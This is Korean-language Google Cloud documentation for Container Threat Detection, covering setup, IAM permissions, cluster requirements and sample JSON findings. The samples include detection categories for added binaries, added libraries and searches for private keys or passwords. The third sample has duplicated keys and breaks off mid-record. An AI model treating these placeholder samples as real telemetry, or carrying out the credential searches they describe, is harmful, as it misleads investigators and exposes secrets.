Container Threat Detection 사용

이 페이지에서는 Google Cloud 콘솔에서 Container Threat Detection 발견 항목을 검토하는 방법을 설명하고 Security Threat Detection 발견 항목의 예시를 보여줍니다.

Container Threat Detection은 Security Command Center 프리미엄 및 Enterprise 등급의 기본 서비스입니다.

Container Threat Detection 발견 항목을 보려면 Security Command Center 서비스 설정에서 서비스를 사용 설정해야 합니다.

이 페이지의 발견 항목 검토에서 Container Threat Detection 발견 항목을 보고 관리하는 방법을 자세히 알아보세요.

프로젝트 수준에서 Container Threat Detection 및 기타 프리미엄 등급 감지기를 활성화하려면 프로젝트에 Security Command Center 활성화를 참조하세요. Enterprise 등급은 프로젝트 수준 활성화를 지원하지 않습니다.

지원되는 GKE 버전 사용

컨테이너에 대한 잠재적인 위협을 감지하려면 클러스터가 지원되는 버전의 Google Kubernetes Engine(GKE)에 있어야 합니다. Container Threat Detection은 안정, 일반, 신속 채널에서 Container-Optimized OS 기반 x86 클러스터에 대해 다음 GKE 버전을 지원합니다.

  • GKE Standard >= 1.15.9-gke.12
  • GKE Standard >= 1.16.5-gke.2
  • GKE Standard >= 1.17
  • GKE Standard >= 1.18.10-gke.1400
  • GKE Standard >= 1.19.2-gke.2000
  • GKE Standard >= 1.20
  • GKE Standard >= 1.21
  • GKE Autopilot >= 1.21.11-gke.900
  • GKE Standard 및 Autopilot >= 1.22
  • GKE Standard 및 Autopilot >= 1.23

Container Threat Detection은 안정, 일반, 신속 채널에서 Ubuntu 기반 x86 클러스터의 다음 GKE 버전을 지원합니다.

  • GKE Standard 및 Autopilot >= 1.28.15-gke.1480000
  • GKE Standard 및 Autopilot >= 1.29.12-gke.1120000
  • GKE Standard 및 Autopilot >= 1.30.8-gke.1128000
  • GKE Standard 및 Autopilot >= 1.31.4-gke.1177000

Container Threat Detection은 안정, 일반, 신속 채널에서 Container-Optimized OS 기반 Arm 클러스터에 대해 다음 GKE 버전을 지원합니다.

  • GKE Standard 및 Autopilot >= 1.28

Container Threat Detection은 Container-Optimized OS 노드 이미지만 지원합니다.

Container Threat Detection 사용 설정

Security Command Center 프리미엄 또는 Enterprise 등급을 활성화하면 활성화 프로세스 중에 사용 중지하지 않는 한 기본적으로 Container Threat Detection이 사용 설정됩니다.

조직 또는 프로젝트에 대해 Container Threat Detection을 사용 설정하거나 중지해야 하는 경우 Security Command Center 설정 페이지에서 사용 설정하거나 중지할 수 있습니다. 자세한 내용은 기본 제공 서비스 사용 설정 또는 중지를 참조하세요.

Security Command Center 이상을 활성화하여 Container Threat Detection을 사용 설정하려면 다음 단계를 따르세요.

  1. 지원되는 GKE 버전에서 실행되지 않는 클러스터의 경우 가이드의 클러스터 업그레이드 단계를 완료합니다.
  2. 클러스터에 Container Threat Detection DaemonSet를 실행하는 데 사용할 수 있는 리소스가 충분한지 확인합니다.
  3. Google Cloud 콘솔에서 Container Threat Detection 서비스 사용 설정 관련 설정을 검토하여 클러스터에 Container Threat Detection이 사용 설정되어 있는지 확인합니다.

필수 IAM 권한

Container Threat Detection에는 자체적으로 사용 설정 및 중지하고 GKE 클러스터에서 Container Threat Detection 에이전트를 관리할 수 있는 권한이 필요합니다.

필요한 권한을 부여하려면 IAM 역할 Container Threat Detection 서비스 에이전트(roles/containerthreatdetection.serviceAgent)를 서비스 계정 유형인 Container Threat Detection 서비스 에이전트에 부여해야 합니다.

서비스 에이전트에서 이 기본 역할을 삭제하면 Container Threat Detection이 제대로 작동하지 않을 수 있습니다.

Security Command Center가 활성화된 방법과 시기에 따라 Container Threat Detection에서 사용하는 서비스 에이전트의 이름이 다릅니다.

  • 2023년 12월 7일 이전에 Security Command Center가 활성화된 경우 Container Threat Detection은 다음 사용자 관리 서비스 에이전트를 사용합니다.

    service-PROJECT_NUMBER@gcp-sa-ktd-control.iam.gserviceaccount.com

  • 2023년 12월 7일 이후 조직 수준에서 Security Command Center가 활성화된 경우 Container Threat Detection은 다음 사용자 관리 조직 수준 서비스 에이전트를 사용합니다.

    service-org-ORGANIZATION_ID@gcp-sa-ktd-hpsa.iam.gserviceaccount.com

  • 2023년 12월 7일 이후 프로젝트 수준에서 Security Command Center가 활성화된 경우 Container Threat Detection은 다음 사용자 관리 조직 수준 서비스 에이전트를 사용합니다.

    service-project-PROJECT_NUMBER@gcp-sa-ktd-hpsa.iam.gserviceaccount.com

서비스 에이전트 및 IAM 역할에 대한 자세한 내용은 다음을 참조하세요.

커스텀 GKE 노드 서비스 계정에 필요한 권한

GKE 노드에 커스텀 서비스 계정을 사용하는 경우 새 노드 서비스 계정에 Container Threat Detection과 상호작용할 권한이 필요합니다. 서비스 계정에 이러한 권한을 부여하려면 서비스 계정 토큰 생성자 역할(roles/iam.serviceAccountTokenCreator)을 부여합니다.

  1. 노드 서비스 계정에 서비스 계정 토큰 생성자 역할을 부여합니다.

    gcloud iam service-accounts add-iam-policy-binding \
  SERVICE_ACCOUNT_NAME \
  --member=serviceAccount:service-PROJECT_NUMBER@compute-system.iam.gserviceaccount.com \
  --role=roles/iam.serviceAccountTokenCreator

    다음 값을 바꿉니다.

    • SERVICE_ACCOUNT_NAME을 새 노드 서비스 계정의 이메일 주소로 바꿉니다.
    • PROJECT_NUMBER를 Container Threat Detection가 배포된 프로젝트 번호로 바꿉니다. 서비스 계정의 프로젝트와 다른 경우 이 값이 중요합니다.

  2. 새 노드 서비스 계정이 생성된 동일한 프로젝트에서 Container Threat Detection API를 사용 설정합니다.

    gcloud services enable containerthreatdetection.googleapis.com --project PROJECT_ID

    PROJECT_ID를 새 노드 서비스 계정이 있는 프로젝트의 ID로 바꿉니다.

GKE 클러스터 구성 확인

Container Threat Detection이 작동하려면 클러스터가 Virtual Private Cloud(VPC)에 있는 경우 네트워크에서 Google API 및 서비스와 통신하려면 라우팅, 방화벽, DNS 요구사항을 충족해야 합니다. Google API에 액세스하려면 다음 가이드를 검토합니다.

또한 GKE 클러스터 구성 또는 조직 정책 제약조건은 Container Threat Detection이 작동하는 데 필요한 객체의 생성 또는 사용을 차단해서는 안 됩니다. 다음 섹션에는 Container Threat Detection에서 만드는 GKE 객체 목록과 Container Threat Detection에서 작동하도록 필수 GKE 구성요소를 구성하는 방법이 포함되어 있습니다.

Kubernetes 객체

온보딩 후 Container Threat Detection은 사용 설정된 클러스터에 여러 GKE 객체를 만듭니다. 객체는 컨테이너 이미지를 모니터링하고 권한이 있는 컨테이너와 포드를 관리하며 상태를 분석하여 발견 항목을 생성합니다. 다음 표에는 객체, 객체의 속성, 필수 함수가 나와 있습니다.

객체 이름1 속성 함수
ClusterRole container-watcher-pod-reader 포드에 대한 get, watch, list 권한을 부여합니다.
ClusterRole pod-reader 포드에 대한 get, watch, list 권한을 부여합니다.
ClusterRoleBinding

container-watcher-pod-reader

gce:podsecuritypolicy:container-watcher

 container-watcher-pod-reader ServiceAccount에 container-watcher-pod-reader 및 gce:podsecuritypolicy:privileged 역할을 부여합니다.
CustomResourceDefinition containerwatcherstatuses.containerthreatdetection.googleapis.com DaemonSet 상태 보고
DaemonSet container-watcher2 권한이 있는 사용자 eBPF 기반 커널 모듈 및 컨테이너 엔진과의 상호작용
/host/를 읽기 및 쓰기로 마운트합니다. eBPF 기반 커널 모듈과의 통신
container-watcher-token에 액세스하려면 /etc/container-watcher/secrets를 읽기 전용으로 마운트합니다. 인증
hostNetwork 사용 발견 항목 생성
이미지
gke.gcr.io/watcher-daemonset 		사용 설정 및 업그레이드
백엔드
containerthreatdetection-REGION.googleapis.com:443 		발견 항목 생성
역할 container-watcher-status-reporter containerwatcherstatuses.containerthreatdetection.googleapis.com CustomResourceDefinition에 대해 get, list, watch, create, update, patch 동사를 포함하는 역할 DaemonSet 상태 정보 업데이트를 허용합니다.
RoleBinding gce:podsecuritypolicy:container-watcher container-watcher-pod-reader ServiceAccount에 gce:podsecuritypolicy:privileged 역할을 부여합니다. PodSecurityPolicy가 사용 설정되면 기능을 유지합니다.
container-watcher-status-reporter container-watcher-pod-reader ServiceAccount에 container-watcher-status-reporter 역할을 부여합니다.
보안 비밀 container-watcher-token 인증
ServiceAccount container-watcher-pod-reader 사용 설정, 업그레이드, 사용 중지

1 container-watcher-pod-reader 및 gce:podsecuritypolicy:container-watcher를 제외한 모든 객체가 kube-system 네임스페이스에 있습니다.

2 Container Threat Detection을 설치, 업데이트, 삭제하는 동안 Kubernetes는 일시적으로 누락되었거나 완전하지 않은 Kubernetes 객체 또는 다른 종속 항목에 대해 오류 메시지를 생성할 수 있습니다. 예를 들어 container-watcher-pod-reader 역할이 누락되어 포드 감시자 설치가 차단될 수 있는 인스턴스가 있을 수 있습니다. 이렇게 하면 serviceaccount "container-watcher-pod-reader" not found와 같은 오류 로그도 생성됩니다. 일반적으로 이러한 오류는 Container Threat Detection이 프로세스를 완료한 후 자동으로 해결됩니다. 몇 분이 지나도 오류가 계속되지 않는 한 오류를 무시해도 됩니다.

PodSecurityPolicy 및 허용 컨트롤러

PodSecurityPolicy는 요청을 검사하여 클러스터의 포드를 생성하고 업데이트하도록 설정한 수락 컨트롤러 리소스입니다. Container Threat Detection은 enable-pod-security-policy 플래그로 클러스터를 만들거나 업데이트할 때 자동으로 적용되는 PodSecurityPolicies와 호환됩니다. 특히 PodSecurityPolicy가 사용 설정되면 Container Threat Detection이 gce.privileged 정책을 사용합니다.

커스텀 PodSecurityPolicies 또는 다른 허용 컨트롤러를 사용하는 경우 Container Threat Detection이 작동해야 하는 객체 생성 또는 사용을 차단하지 않아야 합니다. 예를 들어 권한이 부여된 배포를 거부하거나 재정의하는 웹훅 기반 허용 컨트롤러에서는 Container Threat Detection이 제대로 작동하지 않을 수 있습니다.

자세한 내용은 PodSecurityPolicies 사용을 참조하세요.

Container Threat Detection 발견 항목에서 환경 변수 제외

기본적으로 Container Threat Detection에서 발견 항목을 생성할 때 발견 항목에서 참조되는 모든 프로세스의 환경 변수를 보고합니다. 공격을 조사할 때 환경 변수 값이 중요할 수 있습니다. 그러나 일부 소프트웨어 패키지는 보안 비밀과 기타 민감한 정보를 환경 변수에 저장합니다. Container Threat Detection이 Container Threat Detection 발견 항목에 프로세스 환경 변수를 포함하지 못하도록 하려면 조직, 폴더 또는 프로젝트 수준에서 Google Cloud CLI 또는 Security Command Center Management API securityCenterServices.patch 메서드를 사용하여 REPORT_ENVIRONMENT_VARIABLES 모듈을 사용 중지합니다.

예를 들어 프로젝트에서 환경 변수 보고를 사용 중지하려면 다음 콘텐츠가 포함된 module_config.yaml이라는 파일을 만듭니다.

REPORT_ENVIRONMENT_VARIABLES:
  intendedEnablementState: DISABLED

그러고 나서 다음 명령어를 실행합니다.

gcloud scc manage services update container-threat-detection \
    --module-config-file=module_config.yaml \
    --project=PROJECT_ID

기본 동작을 복원하려면 다음이 포함되도록 module_config.yaml을 수정한 후 명령어를 다시 실행합니다.

REPORT_ENVIRONMENT_VARIABLES:
  intendedEnablementState: ENABLED

서비스 관리를 위한 모든 gcloud CLI 명령어를 보려면 gcloud scc manage services를 참고하세요.

Container Threat Detection 발견 항목에서 CLI 인수 제외

모든 프로세스에는 하나 이상의 명령줄(CLI) 인수가 포함됩니다. 기본적으로 Container Threat Detection에 발견 항목의 프로세스 세부정보가 포함된 경우 프로세스의 CLI 인수를 기록합니다. CLI 인수 값은 공격을 조사할 때 중요할 수 있습니다. 그러나 일부 사용자가 보안 비밀 및 기타 민감한 정보를 CLI 인수로 전달할 수 있습니다. Container Threat Detection이 Container Threat Detection 발견 항목에 프로세스 CLI 인수를 포함하지 못하도록 하려면 조직, 폴더 또는 프로젝트 수준에서 Google Cloud CLI 또는 Security Command Center Management API securityCenterServices.patch 메서드를 사용하여 REPORT_CLI_ARGUMENTS 모듈을 사용 중지합니다.

예를 들어 프로젝트에서 CLI 인수 보고를 사용 중지하려면 다음 콘텐츠가 포함된 module_config.yaml라는 파일을 만듭니다.

REPORT_CLI_ARGUMENTS:
  intendedEnablementState: DISABLED

그러고 나서 다음 명령어를 실행합니다.

gcloud scc manage services update container-threat-detection \
    --module-config-file=module_config.yaml \
    --project=PROJECT_ID

기본 동작을 복원하려면 다음이 포함되도록 module_config.yaml을 수정한 후 명령어를 다시 실행합니다.

REPORT_CLI_ARGUMENTS:
  intendedEnablementState: ENABLED

서비스 관리를 위한 모든 gcloud CLI 명령어를 보려면 gcloud scc manage services를 참고하세요.

리소스 사용량

Container Threat Detection은 클러스터 성능에 거의 영향을 주지 않도록 설계되었으며 클러스터 작업에 지연 시간 영향을 미치지 않습니다.

리소스 사용량은 워크로드에 따라 다릅니다. 그러나 Container Threat Detection의 핵심 구성요소인 사용자 공간 DaemonSet 및 eBPF 기반 커널 모듈은 다음과 같은 성능 저하가 예상됩니다.

  • DaemonSet: 리소스 사용량을 제한하도록 설정된 엄격한 제한을 기준으로 최대 0.125 vCPU 및 350MB 메모리. 이 제한은 특히 매우 큰 노드의 경우 간혹 재평가되고 성능 최적화를 위해 변경될 수 있습니다.

  • eBPF 기반 커널 모듈: 성능 영향은 워크로드 특성에 따라 다릅니다. 하지만 eBPF 커널 모듈에 스트레스를 가하는 경우에는 CPU 사용량이 2% 미만이고 메모리 사용량이 1% 미만입니다. Container Threat Detection 사용 설정 여부에 관계없이 워크로드를 계측하여 성능 영향을 테스트할 수 있습니다.

BigQuery 고객은 GKE 사용량 측정을 사용 설정하여 Container Threat Detection의 사용자 공간 DaemonSet의 리소스 사용량을 모니터링할 수 있습니다. 사용량 측정에서 사용자 공간 DaemonSet를 보려면 네임스페이스 kube-system을 검색하고 k8s-app=container-watcher 라벨을 지정합니다.

GKE 사용량 측정은 특히 eBPF 기반 커널 모듈의 커널 CPU 사용량을 추적할 수 없습니다. 이 데이터는 전반적인 CPU 사용량에 포함됩니다.

Container Threat Detection API

Container Threat Detection은 온보딩 중에 containerthreatdetection API를 자동으로 사용 설정하여 발견 항목을 생성할 수 있습니다. 이 필수 API와 직접 상호작용하면 안 됩니다. 이 API를 사용 중지하면 새로운 발견 항목을 생성하는 Container Threat Detection 기능이 손상됩니다. Container Threat Detection 발견 항목 수신을 중지하려면 Security Command Center의 서비스 설정에서 Container Threat Detection을 사용 중지하세요.

발견 항목 검토

Container Threat Detection이 발견 항목을 생성하면 Security Command Center에서 볼 수 있습니다. Cloud Logging으로 로그 내보내기를 구성한 경우 Cloud Logging에서도 발견 항목을 볼 수 있습니다. 발견 항목을 생성하고 구성을 확인하려면 의도적으로 감지기를 트리거하고 Container Threat Detection을 테스트하면 됩니다.

Container Threat Detection의 지연 시간은 다음과 같습니다.

  • 새로 온보딩된 조직 또는 프로젝트의 활성화 지연 시간은 3.5시간입니다.
  • 새로 생성된 클러스터의 활성화 지연 시간(분)입니다.
  • 활성화된 클러스터의 위협에 대한 감지 지연 시간(분)입니다.

Google Cloud 콘솔에서 발견 항목 검토

Security Command Center의 IAM 역할은 조직, 폴더, 프로젝트 수준에서 부여할 수 있습니다. 발견 항목, 애셋, 보안 소스를 보거나 수정하거나 만들거나 업데이트할 수 있는 기능은 액세스 권한이 부여된 수준에 따라 다릅니다. Security Command Center 역할에 대해 자세히 알아보려면 액세스 제어를 참조하세요.

Security Command Center에서 Container Threat Detection 발견 항목을 검토하려면 다음 단계를 따르세요.

  1. Google Cloud 콘솔에서 Security Command Center의 발견 항목 페이지로 이동합니다.

    발견 항목으로 이동

  2. Google Cloud 프로젝트 또는 조직을 선택합니다.
  3. 빠른 필터 섹션의 소스 표시 이름 하위 섹션에서 Container Threat Detection을 선택합니다. 이 소스의 발견 항목만 표시되도록 발견 항목 쿼리 결과가 업데이트됩니다.
  4. 특정 발견 항목의 세부정보를 보려면 카테고리 열에서 발견 항목 이름을 클릭합니다. 발견 항목의 세부정보 패널이 열리고 요약 탭이 표시됩니다.
  5. 요약 탭에서 감지된 항목, 영향을 받은 리소스, 발견 항목을 해결하기 위해 취할 수 있는 단계(있는 경우)에 관한 정보를 포함하여 발견 항목의 세부정보를 검토합니다.
  6. 선택사항: 발견 항목의 전체 JSON 정의를 보려면 JSON 탭을 클릭합니다.

조사에 도움이 되도록 위협 발견 항목에는 다음 외부 리소스에 대한 링크도 포함됩니다.

  • MITRE ATT&CK 프레임워크 항목입니다. 이 프레임워크는 클라우드 리소스에 대한 공격의 기술을 설명하고 문제 해결 방법을 제공합니다.
  • VirusTotal은 Alphabet 소유 서비스로 잠재적 악성 파일, 스크립트, URL, 도메인에 관한 컨텍스트를 제공합니다.

Container Threat Detection 발견 항목 목록은 Container Threat Detection 감지기를 참조하세요.

Cloud Logging에서 발견 항목 보기

Cloud Logging에서 Container Threat Detection 발견 항목을 보려면 다음을 수행합니다.

  1. Google Cloud 콘솔의 로그 탐색기로 이동합니다.

    로그 탐색기로 이동

  2. Event Threat Detection 로그를 저장할 Google Cloud 프로젝트 또는 기타 Google Cloud 리소스를 선택합니다.

  3. 쿼리 창을 사용하여 다음 방법 중 하나로 쿼리를 빌드합니다.

    • 모든 리소스 목록에서 다음을 수행합니다.
      1. Threat Detector를 선택하여 모든 감지기 목록을 표시합니다.
      2. 모든 감지기의 발견 항목을 보려면 all detection_name을 선택합니다. 특정 감지기의 발견 항목을 보려면 이름을 선택합니다.
      3. 적용을 클릭합니다. 쿼리 결과 테이블이 선택한 로그로 업데이트됩니다.

    • 쿼리 편집기에 다음 쿼리를 입력하고 쿼리 실행을 클릭합니다.

      resource.type="threat_detector"

      쿼리 결과 테이블이 선택한 로그로 업데이트됩니다.

  4. 로그를 보려면 표 행을 선택한 다음 중첩된 필드 확장을 클릭합니다.

고급 로그 쿼리를 만들어 원하는 수의 로그에서 로그 항목 집합을 지정할 수 있습니다.

발견 항목 형식 예시

이 섹션에는 Container Threat Detection 발견 항목의 JSON 형식이 포함됩니다.

이 예시에는 모든 발견 항목에 대한 가장 일반적인 필드가 포함됩니다. 그러나 모든 필드가 모든 발견 항목에 표시되지 않을 수도 있습니다. 표시되는 실제 출력은 리소스 구성 및 발견 항목의 유형과 상태에 따라 다릅니다. Kubernetes 및 containerd의 정보는 최선의 방식으로 제공되며 정확성이 보장되지 않습니다.

각 발견 항목의 필드에 대한 자세한 내용은 리소스: 발견 항목의 필드 설명을 참고하세요.

추가된 바이너리가 실행됨

{
  "finding": {
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "state": "ACTIVE",
    "category": "Added Binary Executed",
    "sourceProperties": {
      "VM_Instance_Name": "INSTANCE_ID",
      "Added_Binary_Kind": "Added",
      "Container_Image_Id": "CONTAINER_IMAGE_ID",
      "Container_Name": "CONTAINER_NAME",
      "Parent_Pid": 1.0,
      "Container_Image_Uri": "CONTAINER_IMAGE_URI",
      "Process_Creation_Timestamp": {
        "seconds": 1.617989997E9,
        "nanos": 1.17396995E8
      },
      "Pid": 53.0,
      "Pod_Namespace": "default",
      "Process_Binary_Fullpath": "BINARY_PATH",
      "Process_Arguments": ["BINARY_PATH"],
      "Pod_Name": "POD_NAME",
      "description": "A binary that was not part of the original container image
      was executed. If an added binary is executed by an attacker, this is a
      possible sign that an attacker has control of the workload and they are
      executing arbitrary commands.",
      "Environment_Variables": ["KUBERNETES_PORT\u003dtcp://IP_ADDRESS:PORT",
      "KUBERNETES_SERVICE_PORT\u003d443", "HOSTNAME\u003dreconnect-
      test-4af235e12be6f9d9", "HOME\u003d/root",
      "KUBERNETES_PORT_443_TCP_ADDR\u003dIP_ADDRESS",
      "PATH\u003d/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
      "KUBERNETES_PORT_443_TCP_PORT\u003d443",
      "KUBERNETES_PORT_443_TCP_PROTO\u003dtcp",
      "DEBIAN_FRONTEND\u003dnoninteractive",
      "KUBERNETES_PORT_443_TCP\u003dtcp://IP_ADDRESS:PORT",
      "KUBERNETES_SERVICE_PORT_HTTPS\u003d443",
      "KUBERNETES_SERVICE_HOST\u003dIP_ADDRESS", "PWD\u003d/"],
      "Container_Creation_Timestamp": {
        "seconds": 1.617989918E9,
        "nanos": 0.0
      }
    },
    "securityMarks": {
      "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID/securityMarks"
    },
    "eventTime": "2021-04-09T17:39:57.527Z",
    "createTime": "2021-04-09T17:39:57.625Z",
    "propertyDataTypes": {
      "Container_Image_Id": {
        "primitiveDataType": "STRING"
      },
      "Pod_Namespace": {
        "primitiveDataType": "STRING"
      },
      "Container_Creation_Timestamp": {
        "dataType": "TIMESTAMP",
        "structValue": {
          "fields": {
            "seconds": {
              "primitiveDataType": "NUMBER"
            },
            "nanos": {
              "primitiveDataType": "NUMBER"
            }
          }
        }
      },
      "Environment_Variables": {
        "listValues": {
          "propertyDataTypes": [{
            "primitiveDataType": "STRING"
          }]
        }
      },
      "Added_Binary_Kind": {
        "primitiveDataType": "STRING"
      },
      "description": {
        "primitiveDataType": "STRING"
      },
      "Pid": {
        "primitiveDataType": "NUMBER"
      },
      "Process_Arguments": {
        "listValues": {
          "propertyDataTypes": [{
            "primitiveDataType": "STRING"
          }]
        }
      },
      "Container_Image_Uri": {
        "primitiveDataType": "STRING"
      },
      "Pod_Name": {
        "primitiveDataType": "STRING"
      },
      "Process_Creation_Timestamp": {
        "dataType": "TIMESTAMP",
        "structValue": {
          "fields": {
            "seconds": {
              "primitiveDataType": "NUMBER"
            },
            "nanos": {
              "primitiveDataType": "NUMBER"
            }
          }
        }
      },
      "Parent_Pid": {
        "primitiveDataType": "NUMBER"
      },
      "VM_Instance_Name": {
        "primitiveDataType": "STRING"
      },
      "Container_Name": {
        "primitiveDataType": "STRING"
      },
      "Process_Binary_Fullpath": {
        "primitiveDataType": "STRING"
      }
    },
    "severity": "LOW",
    "workflowState": "NEW",
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID"
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "projectName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "projectDisplayName": "PROJECT_ID",
    "parentName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "parentDisplayName": "PROJECT_ID",
    "type": "google.container.Cluster"
  }
}

추가된 라이브러리가 로드됨

{
  "finding": {
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findingsFINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "state": "ACTIVE",
    "category": "Added Library Loaded",
    "sourceProperties": {
      "Process_Arguments": ["BINARY_PATH", "ADDED_LIBRARY_NAME"],
      "Parent_Pid": 1.0,
      "Container_Name": "CONTAINER_NAME",
      "Added_Library_Fullpath": "ADDED_LIBRARY_PATH",
      "Container_Image_Id": "CONTAINER_IMAGE_ID",
      "Container_Creation_Timestamp": {
        "seconds": 1.618004144E9,
        "nanos": 0.0
      },
      "Pod_Name": "POD_NAME",
      "Pid": 7.0,
      "description": "A library that was not part of the original container
      image was loaded. If an added library is loaded, this is a possible sign
      that an attacker has control of the workload and they are executing
      arbitrary code.",
      "VM_Instance_Name": "INSTANCE_ID",
      "Pod_Namespace": "default",
      "Environment_Variables": ["KUBERNETES_SERVICE_PORT\u003d443",
      "KUBERNETES_PORT\u003dtcp://IP_ADDRESS:PORT", "HOSTNAME\u003dsuspicious-
      library", "LD_LIBRARY_PATH\u003d/tmp", "PORT\u003d8080",
      "HOME\u003d/root", "PYTHONUNBUFFERED\u003d1",
      "KUBERNETES_PORT_443_TCP_ADDR\u003dIP_ADDRESS",
      "PATH\u003d/opt/python3.7/bin:/opt/python3.6/bin:/opt/python3.5/bin:/opt/p
      ython3.4/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
      , "KUBERNETES_PORT_443_TCP_PORT\u003d443",
      "KUBERNETES_PORT_443_TCP_PROTO\u003dtcp", "LANG\u003dC.UTF-8",
      "DEBIAN_FRONTEND\u003dnoninteractive",
      "KUBERNETES_SERVICE_PORT_HTTPS\u003d443",
      "KUBERNETES_PORT_443_TCP\u003dtcp://IP_ADDRESS:PORT",
      "KUBERNETES_SERVICE_HOST\u003dIP_ADDRESS", "PWD\u003d/home/vmagent/app"],
      "Process_Binary_Fullpath": "BINARY_PATH",
      "Added_Library_Kind": "Added",
      "Container_Image_Uri": "CONTAINER_IMAGE_uri"
    },
    "securityMarks": {
      "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID/securityMarks"
    },
    "eventTime": "2021-04-09T21:36:13.069Z",
    "createTime": "2021-04-09T21:36:13.267Z",
    "propertyDataTypes": {
      "Container_Image_Id": {
        "primitiveDataType": "STRING"
      },
      "Added_Library_Fullpath": {
        "primitiveDataType": "STRING"
      },
      "Container_Creation_Timestamp": {
        "dataType": "TIMESTAMP",
        "structValue": {
          "fields": {
            "seconds": {
              "primitiveDataType": "NUMBER"
            },
            "nanos": {
              "primitiveDataType": "NUMBER"
            }
          }
        }
      },
      "Pod_Namespace": {
        "primitiveDataType": "STRING"
      },
      "Environment_Variables": {
        "listValues": {
          "propertyDataTypes": [{
            "primitiveDataType": "STRING"
          }]
        }
      },
      "description": {
        "primitiveDataType": "STRING"
      },
      "Process_Arguments": {
        "listValues": {
          "propertyDataTypes": [{
            "primitiveDataType": "STRING"
          }]
        }
      },
      "Pid": {
        "primitiveDataType": "NUMBER"
      },
      "Container_Image_Uri": {
        "primitiveDataType": "STRING"
      },
      "Pod_Name": {
        "primitiveDataType": "STRING"
      },
      "Added_Library_Kind": {
        "primitiveDataType": "STRING"
      },
      "Parent_Pid": {
        "primitiveDataType": "NUMBER"
      },
      "VM_Instance_Name": {
        "primitiveDataType": "STRING"
      },
      "Container_Name": {
        "primitiveDataType": "STRING"
      },
      "Process_Binary_Fullpath": {
        "primitiveDataType": "STRING"
      }
    },
    "severity": "LOW",
    "workflowState": "NEW",
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID"
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "projectName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "projectDisplayName": "PROJECT_ID",
    "parentName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "parentDisplayName": "PROJECT_ID",
    "type": "google.container.Cluster"
  }
}

사용자 인증 정보 액세스: 비공개 키 또는 비밀번호 검색

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
    "category": "Credential Access: Search Private Keys or Passwords",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_IMAGE_URI",
        "imageId": "CONTAINER_IMAGE_ID",
        "createTime": "2024-06-17T18:50:13Z"
      }
    ],
    "createTime": "2025-01-21T19:55:22.017Z",
    "database": {},
    "eventTime": "2025-01-21T19:55:21.762Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "NAMESPACE",
          "containers": [
            {
              "name": "CONTAINER_NAME",
              "uri": "CONTAINER_IMAGE_URI",
              "imageId": "CONTAINER_IMAGE_ID",
              "createTime": "2025-01-21T19:55:19Z"
            }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"
        }
      ]
    },
    "logEntries": [
      {
        "cloudLoggingEntry": {
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": "2025-01-21T19:55:19.654640277Z"
        }
      }
    ],
    "mitreAttack": {},
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "mitreAttack": {
      "primaryTactic": "PRIVILEGE_ESCALATION",
      "primaryTechniques": [
        "ESCAPE_TO_HOST"
      ]
    },
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "muteUpdateTime": "1970-01-01T00:00:00Z",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "INTERPRETER",
          "size": "147176",
          "sha256": "INTERPRETER_SHA_256",
          "hashedSize": "147176",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "args": [
          "INTERPRETER",
          "ARG"
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"KUBERNETES_SERVICE_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"HOSTNAME\"",
            "val": "\"ktd-test-search-private-keys-or-passwords-ba379a7c2168db11\""
          },
          {
            "name": "\"HOME\"",
            "val": "\"/root\""
          },
          {
            "name": "\"GPG_KEY\"",
            "val": "\"7169605F62C751356D054A26A821E680E5FA6305\""
          },
          {
